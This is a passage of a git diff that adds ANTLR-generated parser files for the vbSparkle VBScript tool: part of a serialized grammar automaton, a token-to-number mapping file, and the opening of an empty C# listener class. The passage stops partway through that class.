0, 2836, 2838, 1, 0, 0, 0, 2837, 2833, 1, 0, 0, 0, 2837, 2838, 1, 0, 0, 0, 2838, 2839, 1, 0, 0, 0, 2839, 2840, 5, 206, 0, 0, 2840, 271, 1, 0, 0, 0, 2841, 2844, 3, 266, 133, 0, 2842, 2844, 3, 268, 134, 0, 2843, 2841, 1, 0, 0, 0, 2843, 2842, 1, 0, 0, 0, 2843, 2844, 1, 0, 0, 0, 2844, 2846, 1, 0, 0, 0, 2845, 2847, 3, 274, 137, 0, 2846, 2845, 1, 0, 0, 0, 2847, 2848, 1, 0, 0, 0, 2848, 2846, 1, 0, 0, 0, 2848, 2849, 1, 0, 0, 0, 2849, 2851, 1, 0, 0, 0, 2850, 2852, 3, 282, 141, 0, 2851, 2850, 1, 0, 0, 0, 2851, 2852, 1, 0, 0, 0, 2852, 273, 1, 0, 0, 0, 2853, 2855, 5, 223, 0, 0, 2854, 2853, 1, 0, 0, 0, 2854, 2855, 1, 0, 0, 0, 2855, 2856, 1, 0, 0, 0, 2856, 2858, 5, 187, 0, 0, 2857, 2859, 5, 223, 0, 0, 2858, 2857, 1, 0, 0, 0, 2858, 2859, 1, 0, 0, 0, 2859, 2862, 1, 0, 0, 0, 2860, 2863, 3, 266, 133, 0, 2861, 2863, 3, 268, 134, 0, 2862, 2860, 1, 0, 0, 0, 2862, 2861, 1, 0, 0, 0, 2863, 275, 1, 0, 0, 0, 2864, 2865, 3, 282, 141, 0, 2865, 277, 1, 0, 0, 0, 2866, 2868, 3, 280, 140, 0, 2867, 2866, 1, 0, 0, 0, 2867, 2868, 1, 0, 0, 0, 2868, 2870, 1, 0, 0, 0, 2869, 2871, 5, 223, 0, 0, 2870, 2869, 1, 0, 0, 0, 2870, 2871, 1, 0, 0, 0, 2871, 2872, 1, 0, 0, 0, 2872, 2874, 7, 12, 0, 0, 2873, 2875, 5, 223, 0, 0, 2874, 2873, 1, 0, 0, 0, 2874, 2875, 1, 0, 0, 0, 2875, 2877, 1, 0, 0, 0, 2876, 2867, 1, 0, 0, 0, 2877, 2880, 1, 0, 0, 0, 2878, 2876, 1, 0, 0, 0, 2878, 2879, 1, 0, 0, 0, 2879, 2881, 1, 0, 0, 0, 2880, 2878, 1, 0, 0, 0, 2881, 2894, 3, 280, 140, 0, 2882, 2884, 5, 223, 0, 0, 2883, 2882, 1, 0, 0, 0, 2883, 2884, 1, 0, 0, 0, 2884, 2885, 1, 0, 0, 0, 2885, 2887, 7, 12, 0, 0, 2886, 2888, 5, 223, 0, 0, 2887, 2886, 1, 0, 0, 0, 2887, 2888, 1, 0, 0, 0, 2888, 2890, 1, 0, 0, 0, 2889, 2891, 3, 280, 140, 0, 2890, 2889, 1, 0, 0, 0, 2890, 2891, 1, 0, 0, 0, 2891, 2893, 1, 0, 0, 0, 2892, 2883, 1, 0, 0, 0, 2893, 2896, 1, 0, 0, 0, 2894, 2892, 1, 0, 0, 0, 2894, 2895, 1, 0, 0, 0, 2895, 279, 1, 0, 0, 0, 2896, 2894, 1, 0, 0, 0, 2897, 2898, 7, 16, 0, 0, 2898, 2900, 5, 223, 0, 0, 2899, 2897, 1, 0, 0, 0, 2899, 2900, 1, 0, 0, 0, 2900, 2901, 1, 0, 0, 0, 2901, 2902, 3, 234, 117, 0, 2902, 281, 1, 0, 0, 0, 2903, 2904, 5, 189, 0, 0, 2904, 2906, 3, 294, 147, 0, 2905, 2907, 3, 320, 160, 0, 2906, 2905, 1, 0, 0, 0, 2906, 2907, 1, 0, 0, 0, 2907, 283, 1, 0, 0, 0, 2908, 2926, 5, 195, 0, 0, 2909, 2911, 5, 223, 0, 0, 2910, 2909, 1, 0, 0, 0, 2910, 2911, 1, 0, 0, 0, 2911, 2912, 1, 0, 0, 0, 2912, 2923, 3, 286, 143, 0, 2913, 2915, 5, 223, 0, 0, 2914, 2913, 1, 0, 0, 0, 2914, 2915, 1, 0, 0, 0, 2915, 2916, 1, 0, 0, 0, 2916, 2918, 5, 184, 0, 0, 2917, 2919, 5, 223, 0, 0, 2918, 2917, 1, 0, 0, 0, 2918, 2919, 1, 0, 0, 0, 2919, 2920, 1, 0, 0, 0, 2920, 2922, 3, 286, 143, 0, 2921, 2914, 1, 0, 0, 0, 2922, 2925, 1, 0, 0, 0, 2923, 2921, 1, 0, 0, 0, 2923, 2924, 1, 0, 0, 0, 2924, 2927, 1, 0, 0, 0, 2925, 2923, 1, 0, 0, 0, 2926, 2910, 1, 0, 0, 0, 2926, 2927, 1, 0, 0, 0, 2927, 2929, 1, 0, 0, 0, 2928, 2930, 5, 223, 0, 0, 2929, 2928, 1, 0, 0, 0, 2929, 2930, 1, 0, 0, 0, 2930, 2931, 1, 0, 0, 0, 2931, 2932, 5, 206, 0, 0, 2932, 285, 1, 0, 0, 0, 2933, 2934, 5, 117, 0, 0, 2934, 2936, 5, 223, 0, 0, 2935, 2933, 1, 0, 0, 0, 2935, 2936, 1, 0, 0, 0, 2936, 2939, 1, 0, 0, 0, 2937, 2938, 7, 17, 0, 0, 2938, 2940, 5, 223, 0, 0, 2939, 2937, 1, 0, 0, 0, 2939, 2940, 1, 0, 0, 0, 2940, 2943, 1, 0, 0, 0, 2941, 2942, 5, 124, 0, 0, 2942, 2944, 5, 223, 0, 0, 2943, 2941, 1, 0, 0, 0, 2943, 2944, 1, 0, 0, 0, 2944, 2945, 1, 0, 0, 0, 2945, 2947, 3, 294, 147, 0, 2946, 2948, 3, 320, 160, 0, 2947, 2946, 1, 0, 0, 0, 2947, 2948, 1, 0, 0, 0, 2948, 2957, 1, 0, 0, 0, 2949, 2951, 5, 223, 0, 0, 2950, 2949, 1, 0, 0, 0, 2950, 2951, 1, 0, 0, 0, 2951, 2952, 1, 0, 0, 0, 2952, 2954, 5, 195, 0, 0, 2953, 2955, 5, 223, 0, 0, 2954, 2953, 1, 0, 0, 0, 2954, 2955, 1, 0, 0, 0, 2955, 2956, 1, 0, 0, 0, 2956, 2958, 5, 206, 0, 0, 2957, 2950, 1, 0, 0, 0, 2957, 2958, 1, 0, 0, 0, 2958, 2961, 1, 0, 0, 0, 2959, 2960, 5, 223, 0, 0, 2960, 2962, 3, 296, 148, 0, 2961, 2959, 1, 0, 0, 0, 2961, 2962, 1, 0, 0, 0, 2962, 2967, 1, 0, 0, 0, 2963, 2965, 5, 223, 0, 0, 2964, 2963, 1, 0, 0, 0, 2964, 2965, 1, 0, 0, 0, 2965, 2966, 1, 0, 0, 0, 2966, 2968, 3, 288, 144, 0, 2967, 2964, 1, 0, 0, 0, 2967, 2968, 1, 0, 0, 0, 2968, 287, 1, 0, 0, 0, 2969, 2971, 5, 188, 0, 0, 2970, 2972, 5, 223, 0, 0, 2971, 2970, 1, 0, 0, 0, 2971, 2972, 1, 0, 0, 0, 2972, 2973, 1, 0, 0, 0, 2973, 2974, 3, 234, 117, 0, 2974, 289, 1, 0, 0, 0, 2975, 2986, 3, 292, 146, 0, 2976, 2978, 5, 223, 0, 0, 2977, 2976, 1, 0, 0, 0, 2977, 2978, 1, 0, 0, 0, 2978, 2979, 1, 0, 0, 0, 2979, 2981, 5, 184, 0, 0, 2980, 2982, 5, 223, 0, 0, 2981, 2980, 1, 0, 0, 0, 2981, 2982, 1, 0, 0, 0, 2982, 2983, 1, 0, 0, 0, 2983, 2985, 3, 292, 146, 0, 2984, 2977, 1, 0, 0, 0, 2985, 2988, 1, 0, 0, 0, 2986, 2984, 1, 0, 0, 0, 2986, 2987, 1, 0, 0, 0, 2987, 291, 1, 0, 0, 0, 2988, 2986, 1, 0, 0, 0, 2989, 2990, 3, 234, 117, 0, 2990, 2991, 5, 223, 0, 0, 2991, 2992, 5, 165, 0, 0, 2992, 2993, 5, 223, 0, 0, 2993, 2995, 1, 0, 0, 0, 2994, 2989, 1, 0, 0, 0, 2994, 2995, 1, 0, 0, 0, 2995, 2996, 1, 0, 0, 0, 2996, 2997, 3, 234, 117, 0, 2997, 293, 1, 0, 0, 0, 2998, 3001, 5, 218, 0, 0, 2999, 3001, 3, 324, 162, 0, 3000, 2998, 1, 0, 0, 0, 3000, 2999, 1, 0, 0, 0, 3001, 3002, 1, 0, 0, 0, 3002, 3000, 1, 0, 0, 0, 3002, 3003, 1, 0, 0, 0, 3003, 3013, 1, 0, 0, 0, 3004, 3007, 5, 208, 0, 0, 3005, 3008, 5, 218, 0, 0, 3006, 3008, 3, 324, 162, 0, 3007, 3005, 1, 0, 0, 0, 3007, 3006, 1, 0, 0, 0, 3008, 3009, 1, 0, 0, 0, 3009, 3007, 1, 0, 0, 0, 3009, 3010, 1, 0, 0, 0, 3010, 3011, 1, 0, 0, 0, 3011, 3013, 5, 209, 0, 0, 3012, 3000, 1, 0, 0, 0, 3012, 3004, 1, 0, 0, 0, 3013, 295, 1, 0, 0, 0, 3014, 3015, 5, 8, 0, 0, 3015, 3018, 5, 223, 0, 0, 3016, 3017, 5, 108, 0, 0, 3017, 3019, 5, 223, 0, 0, 3018, 3016, 1, 0, 0, 0, 3018, 3019, 1, 0, 0, 0, 3019, 3020, 1, 0, 0, 0, 3020, 3023, 3, 318, 159, 0, 3021, 3022, 5, 223, 0, 0, 3022, 3024, 3, 306, 153, 0, 3023, 3021, 1, 0, 0, 0, 3023, 3024, 1, 0, 0, 0, 3024, 297, 1, 0, 0, 0, 3025, 3026, 7, 18, 0, 0, 3026, 299, 1, 0, 0, 0, 3027, 3032, 5, 218, 0, 0, 3028, 3031, 3, 324, 162, 0, 3029, 3031, 5, 218, 0, 0, 3030, 3028, 1, 0, 0, 0, 3030, 3029, 1, 0, 0, 0, 3031, 3034, 1, 0, 0, 0, 3032, 3030, 1, 0, 0, 0, 3032, 3033, 1, 0, 0, 0, 3033, 3043, 1, 0, 0, 0, 3034, 3032, 1, 0, 0, 0, 3035, 3038, 3, 324, 162, 0, 3036, 3039, 3, 324, 162, 0, 3037, 3039, 5, 218, 0, 0, 3038, 3036, 1, 0, 0, 0, 3038, 3037, 1, 0, 0, 0, 3039, 3040, 1, 0, 0, 0, 3040, 3038, 1, 0, 0, 0, 3040, 3041, 1, 0, 0, 0, 3041, 3043, 1, 0, 0, 0, 3042, 3027, 1, 0, 0, 0, 3042, 3035, 1, 0, 0, 0, 3043, 301, 1, 0, 0, 0, 3044, 3045, 7, 19, 0, 0, 3045, 303, 1, 0, 0, 0, 3046, 3051, 3, 294, 147, 0, 3047, 3048, 5, 187, 0, 0, 3048, 3050, 3, 294, 147, 0, 3049, 3047, 1, 0, 0, 0, 3050, 3053, 1, 0, 0, 0, 3051, 3049, 1, 0, 0, 0, 3051, 3052, 1, 0, 0, 0, 3052, 305, 1, 0, 0, 0, 3053, 3051, 1, 0, 0, 0, 3054, 3056, 5, 199, 0, 0, 3055, 3057, 5, 223, 0, 0, 3056, 3055, 1, 0, 0, 0, 3056, 3057, 1, 0, 0, 0, 3057, 3060, 1, 0, 0, 0, 3058, 3061, 5, 213, 0, 0, 3059, 3061, 3, 294, 147, 0, 3060, 3058, 1, 0, 0, 0, 3060, 3059, 1, 0, 0, 0, 3061, 307, 1, 0, 0, 0, 3062, 3071, 3, 300, 150, 0, 3063, 3065, 5, 223, 0, 0, 3064, 3063, 1, 0, 0, 0, 3064, 3065, 1, 0, 0, 0, 3065, 3066, 1, 0, 0, 0, 3066, 3068, 5, 197, 0, 0, 3067, 3069, 5, 223, 0, 0, 3068, 3067, 1, 0, 0, 0, 3068, 3069, 1, 0, 0, 0, 3069, 3070, 1, 0, 0, 0, 3070, 3072, 3, 300, 150, 0, 3071, 3064, 1, 0, 0, 0, 3071, 3072, 1, 0, 0, 0, 3072, 309, 1, 0, 0, 0, 3073, 3078, 5, 212, 0, 0, 3074, 3078, 5, 216, 0, 0, 3075, 3078, 5, 211, 0, 0, 3076, 3078, 5, 210, 0, 0, 3077, 3073, 1, 0, 0, 0, 3077, 3074, 1, 0, 0, 0, 3077, 3075, 1, 0, 0, 0, 3077, 3076, 1, 0, 0, 0, 3078, 311, 1, 0, 0, 0, 3079, 3088, 5, 214, 0, 0, 3080, 3088, 3, 310, 155, 0, 3081, 3088, 5, 215, 0, 0, 3082, 3088, 5, 213, 0, 0, 3083, 3088, 5, 166, 0, 0, 3084, 3088, 5, 68, 0, 0, 3085, 3088, 5, 110, 0, 0, 3086, 3088, 5, 111, 0, 0, 3087, 3079, 1, 0, 0, 0, 3087, 3080, 1, 0, 0, 0, 3087, 3081, 1, 0, 0, 0, 3087, 3082, 1, 0, 0, 0, 3087, 3083, 1, 0, 0, 0, 3087, 3084, 1, 0, 0, 0, 3087, 3085, 1, 0, 0, 0, 3087, 3086, 1, 0, 0, 0, 3088, 313, 1, 0, 0, 0, 3089, 3090, 7, 20, 0, 0, 3090, 315, 1, 0, 0, 0, 3091, 3092, 7, 21, 0, 0, 3092, 317, 1, 0, 0, 0, 3093, 3096, 3, 298, 149, 0, 3094, 3096, 3, 304, 152, 0, 3095, 3093, 1, 0, 0, 0, 3095, 3094, 1, 0, 0, 0, 3096, 3105, 1, 0, 0, 0, 3097, 3099, 5, 223, 0, 0, 3098, 3097, 1, 0, 0, 0, 3098, 3099, 1, 0, 0, 0, 3099, 3100, 1, 0, 0, 0, 3100, 3102, 5, 195, 0, 0, 3101, 3103, 5, 223, 0, 0, 3102, 3101, 1, 0, 0, 0, 3102, 3103, 1, 0, 0, 0, 3103, 3104, 1, 0, 0, 0, 3104, 3106, 5, 206, 0, 0, 3105, 3098, 1, 0, 0, 0, 3105, 3106, 1, 0, 0, 0, 3106, 319, 1, 0, 0, 0, 3107, 3108, 7, 22, 0, 0, 3108, 321, 1, 0, 0, 0, 3109, 3110, 7, 23, 0, 0, 3110, 323, 1, 0, 0, 0, 3111, 3112, 7, 24, 0, 0, 3112, 325, 1, 0, 0, 0, 542, 330, 335, 342, 344, 347, 352, 356, 361, 365, 370, 374, 379, 383, 388, 392, 397, 401, 406, 410, 414, 419, 422, 427, 439, 445, 450, 456, 460, 464, 473, 477, 483, 487, 497, 501, 506, 511, 513, 516, 521, 536, 539, 547, 552, 557, 563, 568, 572, 579, 587, 591, 595, 604, 607, 615, 619, 624, 629, 631, 637, 645, 649, 651, 657, 660, 665, 674, 678, 682, 686, 691, 696, 700, 704, 709, 711, 714, 716, 785, 855, 861, 865, 868, 884, 888, 893, 896, 901, 907, 911, 916, 921, 925, 928, 932, 938, 942, 949, 955, 959, 962, 967, 977, 980, 983, 987, 993, 997, 1002, 1009, 1013, 1017, 1021, 1024, 1030, 1036, 1038, 1045, 1051, 1057, 1059, 1067, 1073, 1079, 1083, 1090, 1098, 1103, 1111, 1119, 1125, 1127, 1133, 1137, 1140, 1145, 1151, 1155, 1160, 1170, 1176, 1186, 1190, 1198, 1202, 1205, 1209, 1215, 1221, 1223, 1227, 1230, 1236, 1240, 1243, 1247, 1255, 1260, 1265, 1271, 1273, 1279, 1281, 1286, 1290, 1294, 1300, 1303, 1307, 1310, 1315, 1318, 1324, 1330, 1332, 1337, 1346, 1350, 1353, 1356, 1360, 1376, 1380, 1386, 1391, 1395, 1399, 1403, 1409, 1414, 1422, 1426, 1432, 1438, 1440, 1452, 1458, 1460, 1466, 1472, 1474, 1484, 1488, 1493, 1501, 1505, 1509, 1513, 1517, 1521, 1525, 1529, 1532, 1535, 1539, 1543, 1549, 1553, 1557, 1565, 1569, 1581, 1585, 1592, 1594, 1600, 1604, 1612, 1616, 1628, 1634, 1636, 1646, 1652, 1654, 1660, 1666, 1668, 1690, 1700, 1704, 1709, 1720, 1724, 1729, 1743, 1747, 1756, 1760, 1763, 1767, 1771, 1774, 1778, 1782, 1785, 1789, 1792, 1796, 1798, 1802, 1806, 1810, 1814, 1817, 1823, 1827, 1830, 1832, 1837, 1841, 1847, 1850, 1853, 1857, 1862, 1868, 1870, 1877, 1881, 1887, 1890, 1895, 1901, 1903, 1910, 1914, 1920, 1923, 1928, 1934, 1936, 1944, 1948, 1951, 1954, 1958, 1966, 1970, 1974, 1976, 1979, 1984, 1990, 1994, 1998, 2003, 2008, 2012, 2016, 2021, 2029, 2031, 2043, 2047, 2055, 2059, 2067, 2071, 2075, 2079, 2083, 2087, 2095, 2099, 2111, 2116, 2120, 2126, 2130, 2135, 2142, 2144, 2149, 2153, 2158, 2161, 2165, 2169, 2180, 2186, 2190, 2193, 2199, 2203, 2211, 2215, 2224, 2228, 2232, 2238, 2241, 2246, 2252, 2254, 2260, 2264, 2271, 2279, 2284, 2291, 2295, 2298, 2301, 2304, 2308, 2313, 2322, 2332, 2336, 2343, 2345, 2352, 2356, 2360, 2365, 2369, 2382, 2386, 2392, 2397, 2405, 2409, 2413, 2416, 2420, 2424, 2429, 2433, 2438, 2442, 2447, 2451, 2456, 2460, 2465, 2469, 2474, 2478, 2483, 2487, 2492, 2496, 2501, 2505, 2510, 2514, 2519, 2523, 2528, 2532, 2537, 2541, 2546, 2550, 2563, 2565, 2571, 2576, 2582, 2586, 2591, 2596, 2599, 2603, 2607, 2609, 2613, 2615, 2619, 2627, 2632, 2638, 2647, 2651, 2659, 2665, 2671, 2673, 2681, 2685, 2688, 2692, 2698, 2701, 2705, 2709, 2713, 2718, 2722, 2726, 2729, 2733, 2737, 2741, 2745, 2748, 2751, 2755, 2758, 2761, 2767, 2772, 2775, 2778, 2784, 2788, 2791, 2796, 2799, 2802, 2806, 2810, 2812, 2817, 2820, 2824, 2827, 2831, 2835, 2837, 2843, 2848, 2851, 2854, 2858, 2862, 2867, 2870, 2874, 2878, 2883, 2887, 2890, 2894, 2899, 2906, 2910, 2914, 2918, 2923, 2926, 2929, 2935, 2939, 2943, 2947, 2950, 2954, 2957, 2961, 2964, 2967, 2971, 2977, 2981, 2986, 2994, 3000, 3002, 3007, 3009, 3012, 3018, 3023, 3030, 3032, 3038, 3040, 3042, 3051, 3056, 3060, 3064, 3068, 3071, 3077, 3087, 3095, 3098, 3102, 3105] \ No newline at end of file diff --git a/Sources/vbSparkle/VBScript.tokens b/Sources/vbSparkle/VBScript.tokens new file mode 100644 index 0000000..92fab61 --- /dev/null +++ b/Sources/vbSparkle/VBScript.tokens @@ -0,0 +1,253 @@ +ACCESS=1 +ADDRESSOF=2 +ALIAS=3 +AND=4 +ATTRIBUTE=5 +APPACTIVATE=6 +APPEND=7 +AS=8 +BEEP=9 +BEGIN=10 +BEGINPROPERTY=11 +BINARY=12 +BOOLEAN=13 +BYVAL=14 +BYREF=15 +BYTE=16 +CALL=17 +CASE=18 +CHDIR=19 +CHDRIVE=20 +CLASS=21 +CLOSE=22 +COLLECTION=23 +CONST=24 +DATE=25 +PTRSAFE=26 +DECLARE=27 +DEFBOOL=28 +DEFBYTE=29 +DEFDATE=30 +DEFDBL=31 +DEFDEC=32 +DEFCUR=33 +DEFINT=34 +DEFLNG=35 +DEFOBJ=36 +DEFSNG=37 +DEFSTR=38 +DEFVAR=39 +DELETESETTING=40 +DIM=41 +DO=42 +DOUBLE=43 +EACH=44 +ELSE=45 +ELSEIF=46 +END_ENUM=47 +END_CLASS=48 +END_FUNCTION=49 +END_IF=50 +END_PROPERTY=51 +END_SELECT=52 +END_SUB=53 +END_TYPE=54 +END_WITH=55 +END=56 +ENDPROPERTY=57 +ENUM=58 +EQV=59 +ERASE=60 +ERROR=61 +EVENT=62 +EXIT_DO=63 +EXIT_FOR=64 +EXIT_FUNCTION=65 +EXIT_PROPERTY=66 +EXIT_SUB=67 +FALSE=68 +FILECOPY=69 +FRIEND=70 +FOR=71 +FUNCTION=72 +GET=73 +GLOBAL=74 +GOSUB=75 +GOTO=76 +IF=77 +IMP=78 +IMPLEMENTS=79 +IN=80 +INPUT=81 +IS=82 +INTEGER=83 +KILL=84 +LOAD=85 +LOCK=86 +LONG=87 +LOOP=88 +LEN=89 +LET=90 +LIB=91 +LIKE=92 +LINE_INPUT=93 +LOCK_READ=94 +LOCK_WRITE=95 +LOCK_READ_WRITE=96 +LSET=97 +MACRO_IF=98 +MACRO_ELSEIF=99 +MACRO_ELSE=100 +MACRO_END_IF=101 +ME=102 +MID=103 +MKDIR=104 +MOD=105 +NAME=106 +NEXT=107 +NEW=108 +NOT=109 +NOTHING=110 +NULL=111 +OBJECT=112 +ON=113 +ON_ERROR=114 +ON_LOCAL_ERROR=115 +OPEN=116 +OPTIONAL=117 +OPTION_BASE=118 +OPTION_EXPLICIT=119 +OPTION_COMPARE=120 +OPTION_PRIVATE_MODULE=121 +OR=122 +OUTPUT=123 +PARAMARRAY=124 +PRESERVE=125 +PRINT=126 +PRIVATE=127 +PROPERTY_GET=128 +PROPERTY_LET=129 +PROPERTY_SET=130 +PUBLIC=131 +PUT=132 +RANDOM=133 +RANDOMIZE=134 +RAISEEVENT=135 +READ=136 +READ_WRITE=137 +REDIM=138 +REM=139 +RESET=140 +RESUME=141 +RETURN=142 +RMDIR=143 +RSET=144 +SAVEPICTURE=145 +SAVESETTING=146 +SEEK=147 +SELECT=148 +SENDKEYS=149 +SET=150 +SETATTR=151 +SHARED=152 +SINGLE=153 +SPC=154 +STATIC=155 +DEFAULT=156 +STEP=157 +STOP=158 +STRING=159 +SUB=160 +TAB=161 +TEXT=162 +THEN=163 +TIME=164 +TO=165 +TRUE=166 +TYPE=167 +TYPEOF=168 +UNLOAD=169 +UNLOCK=170 +UNTIL=171 +VARIANT=172 +VERSION=173 +WEND=174 +WHILE=175 +WIDTH=176 +WITH=177 +WITHEVENTS=178 +WRITE=179 +XOR=180 +AMPERSAND=181 +ASSIGN=182 +AT=183 +COMMA=184 +DIV=185 +DOLLAR=186 +DOT=187 +EQ=188 +EXCLAMATIONMARK=189 +GEQ=190 +GT=191 +HASH=192 +LEQ=193 +LBRACE=194 +LPAREN=195 +LT=196 +MINUS=197 +MINUS_EQ=198 +MULT=199 +NEQ=200 +PERCENT=201 +PLUS=202 +PLUS_EQ=203 +POW=204 +RBRACE=205 +RPAREN=206 +SEMICOLON=207 +L_SQUARE_BRACKET=208 +R_SQUARE_BRACKET=209 +STRINGLITERAL=210 +DATELITERAL=211 +HEXLITERAL=212 +INTEGERLITERAL=213 +DOUBLELITERAL=214 +FILENUMBER=215 +OCTALLITERAL=216 +GUID=217 +IDENTIFIER=218 +NEWLINE=219 +INLINE_SEP=220 +INLN=221 +COMMENT=222 +WS=223 +LINE_CONTINUATION=224 +'&'=181 +':='=182 +'@'=183 +','=184 +'$'=186 +'.'=187 +'='=188 +'!'=189 +'>='=190 +'>'=191 +'#'=192 +'<='=193 +'{'=194 +'('=195 +'<'=196 +'-'=197 +'-='=198 +'*'=199 +'<>'=200 +'%'=201 +'+'=202 +'+='=203 +'^'=204 +'}'=205 +')'=206 +';'=207 +'['=208 +']'=209 +':'=221 diff --git a/Sources/vbSparkle/VBScriptBaseListener.cs b/Sources/vbSparkle/VBScriptBaseListener.cs new file mode 100644 index 0000000..dd1e2a1 --- /dev/null +++ b/Sources/vbSparkle/VBScriptBaseListener.cs @@ -0,0 +1,2389 @@ +//------------------------------------------------------------------------------ +// +// This code was generated by a tool. +// ANTLR Version: 4.13.1 +// +// Changes to this file may cause incorrect behavior and will be lost if +// the code is regenerated. +// +//------------------------------------------------------------------------------ + +// Generated from VBScript.g4 by ANTLR 4.13.1 + +// Unreachable code detected +#pragma warning disable 0162 +// The variable '...' is assigned but its value is never used +#pragma warning disable 0219 +// Missing XML comment for publicly visible type or member '...' +#pragma warning disable 1591 +// Ambiguous reference in cref attribute +#pragma warning disable 419 + + +using Antlr4.Runtime.Misc; +using IErrorNode = Antlr4.Runtime.Tree.IErrorNode; +using ITerminalNode = Antlr4.Runtime.Tree.ITerminalNode; +using IToken = Antlr4.Runtime.IToken; +using ParserRuleContext = Antlr4.Runtime.ParserRuleContext; + +/// +/// This class provides an empty implementation of , +/// which can be extended to create a listener which only needs to handle a subset +/// of the available methods. +/// +[System.CodeDom.Compiler.GeneratedCode("ANTLR", "4.13.1")] +[System.Diagnostics.DebuggerNonUserCode] +[System.CLSCompliant(false)] +public partial class VBScriptBaseListener : IVBScriptListener { + /// + /// Enter a parse tree produced by . + /// The default implementation does nothing. + /// + /// The parse tree. + public virtual void EnterStartRule([NotNull] VBScriptParser.StartRuleContext context) { } + /// + /// Exit a parse tree produced by . + /// The default implementation does nothing. + /// + /// The parse tree. + public virtual void ExitStartRule([NotNull] VBScriptParser.StartRuleContext context) { } + /// + /// Enter a parse tree produced by . + /// The default implementation does nothing. + /// + /// The parse tree. + public virtual void EnterModule([NotNull] VBScriptParser.ModuleContext context) { } + /// + /// Exit a parse tree produced by . + /// The default implementation does nothing. + /// + /// The parse tree. + public virtual void ExitModule([NotNull] VBScriptParser.ModuleContext context) { } + /// + /// Enter a parse tree produced by . + /// The default implementation does nothing. + /// + /// The parse tree. + public virtual void EnterModuleReferences([NotNull] VBScriptParser.ModuleReferencesContext context) { } + /// + /// Exit a parse tree produced by . + /// The default implementation does nothing. + /// + /// The parse tree. + public virtual void ExitModuleReferences([NotNull] VBScriptParser.ModuleReferencesContext context) { } + /// + /// Enter a parse tree produced by . + /// The default implementation does nothing. + /// + /// The parse tree. + public virtual void EnterModuleReference([NotNull] VBScriptParser.ModuleReferenceContext context) { } + /// + /// Exit a parse tree produced by . + /// The default implementation does nothing. + /// + /// The parse tree. + public virtual void ExitModuleReference([NotNull] VBScriptParser.ModuleReferenceContext context) { } + /// + /// Enter a parse tree produced by . + /// The default implementation does nothing. + /// + /// The parse tree. + public virtual void EnterModuleReferenceValue([NotNull] VBScriptParser.ModuleReferenceValueContext context) { } + /// + /// Exit a parse tree produced by . + /// The default implementation does nothing. + /// + /// The parse tree. + public virtual void ExitModuleReferenceValue([NotNull] VBScriptParser.ModuleReferenceValueContext context) { } + /// + /// Enter a parse tree produced by . + /// The default implementation does nothing. + /// + /// The parse tree. + public virtual void EnterModuleReferenceComponent([NotNull] VBScriptParser.ModuleReferenceComponentContext context) { } + /// + /// Exit a parse tree produced by . + /// The default implementation does nothing. + /// + /// The parse tree. + public virtual void ExitModuleReferenceComponent([NotNull] VBScriptParser.ModuleReferenceComponentContext context) { } + /// + /// Enter a parse tree produced by . + /// The default implementation does nothing. + /// + /// The parse tree. + public virtual void EnterModuleHeader([NotNull] VBScriptParser.ModuleHeaderContext context) { } + /// + /// Exit a parse tree produced by . + /// The default implementation does nothing. + /// + /// The parse tree. + public virtual void ExitModuleHeader([NotNull] VBScriptParser.ModuleHeaderContext context) { } + /// + /// Enter a parse tree produced by . + /// The default implementation does nothing. + /// + /// The parse tree. + public virtual void EnterModuleConfig([NotNull] VBScriptParser.ModuleConfigContext context) { } + /// + /// Exit a parse tree produced by . + /// The default implementation does nothing. + /// + /// The parse tree. + public virtual void ExitModuleConfig([NotNull] VBScriptParser.ModuleConfigContext context) { } + /// + /// Enter a parse tree produced by . + /// The default implementation does nothing. + /// + /// The parse tree. + public virtual void EnterModuleConfigElement([NotNull] VBScriptParser.ModuleConfigElementContext context) { } + /// + /// Exit a parse tree produced by . + /// The default implementation does nothing. + /// + /// The parse tree. + public virtual void ExitModuleConfigElement([NotNull] VBScriptParser.ModuleConfigElementContext context) { } + /// + /// Enter a parse tree produced by . + /// The default implementation does nothing. + /// + /// The parse tree. + public virtual void EnterModuleAttributes([NotNull] VBScriptParser.ModuleAttributesContext context) { } + /// + /// Exit a parse tree produced by . + /// The default implementation does nothing. + /// + /// The parse tree. + public virtual void ExitModuleAttributes([NotNull] VBScriptParser.ModuleAttributesContext context) { } + /// + /// Enter a parse tree produced by . + /// The default implementation does nothing. + /// + /// The parse tree. + public virtual void EnterModuleOptions([NotNull] VBScriptParser.ModuleOptionsContext context) { } + /// + /// Exit a parse tree produced by . + /// The default implementation does nothing. + /// + /// The parse tree. + public virtual void ExitModuleOptions([NotNull] VBScriptParser.ModuleOptionsContext context) { } + /// + /// Enter a parse tree produced by the optionBaseStmt + /// labeled alternative in . + /// The default implementation does nothing. + /// + /// The parse tree. + public virtual void EnterOptionBaseStmt([NotNull] VBScriptParser.OptionBaseStmtContext context) { } + /// + /// Exit a parse tree produced by the optionBaseStmt + /// labeled alternative in . + /// The default implementation does nothing. + /// + /// The parse tree. + public virtual void ExitOptionBaseStmt([NotNull] VBScriptParser.OptionBaseStmtContext context) { } + /// + /// Enter a parse tree produced by the optionCompareStmt + /// labeled alternative in . + /// The default implementation does nothing. + /// + /// The parse tree. + public virtual void EnterOptionCompareStmt([NotNull] VBScriptParser.OptionCompareStmtContext context) { } + /// + /// Exit a parse tree produced by the optionCompareStmt + /// labeled alternative in . + /// The default implementation does nothing. + /// + /// The parse tree. + public virtual void ExitOptionCompareStmt([NotNull] VBScriptParser.OptionCompareStmtContext context) { } + /// + /// Enter a parse tree produced by the optionExplicitStmt + /// labeled alternative in . + /// The default implementation does nothing. + /// + /// The parse tree. + public virtual void EnterOptionExplicitStmt([NotNull] VBScriptParser.OptionExplicitStmtContext context) { } + /// + /// Exit a parse tree produced by the optionExplicitStmt + /// labeled alternative in . + /// The default implementation does nothing. + /// + /// The parse tree. + public virtual void ExitOptionExplicitStmt([NotNull] VBScriptParser.OptionExplicitStmtContext context) { } + /// + /// Enter a parse tree produced by the optionPrivateModuleStmt + /// labeled alternative in . + /// The default implementation does nothing. + /// + /// The parse tree. + public virtual void EnterOptionPrivateModuleStmt([NotNull] VBScriptParser.OptionPrivateModuleStmtContext context) { } + /// + /// Exit a parse tree produced by the optionPrivateModuleStmt + /// labeled alternative in . + /// The default implementation does nothing. + /// + /// The parse tree. + public virtual void ExitOptionPrivateModuleStmt([NotNull] VBScriptParser.OptionPrivateModuleStmtContext context) { } + /// + /// Enter a parse tree produced by . + /// The default implementation does nothing. + /// + /// The parse tree. + public virtual void EnterModuleBody([NotNull] VBScriptParser.ModuleBodyContext context) { } + /// + /// Exit a parse tree produced by . + /// The default implementation does nothing. + /// + /// The parse tree. + public 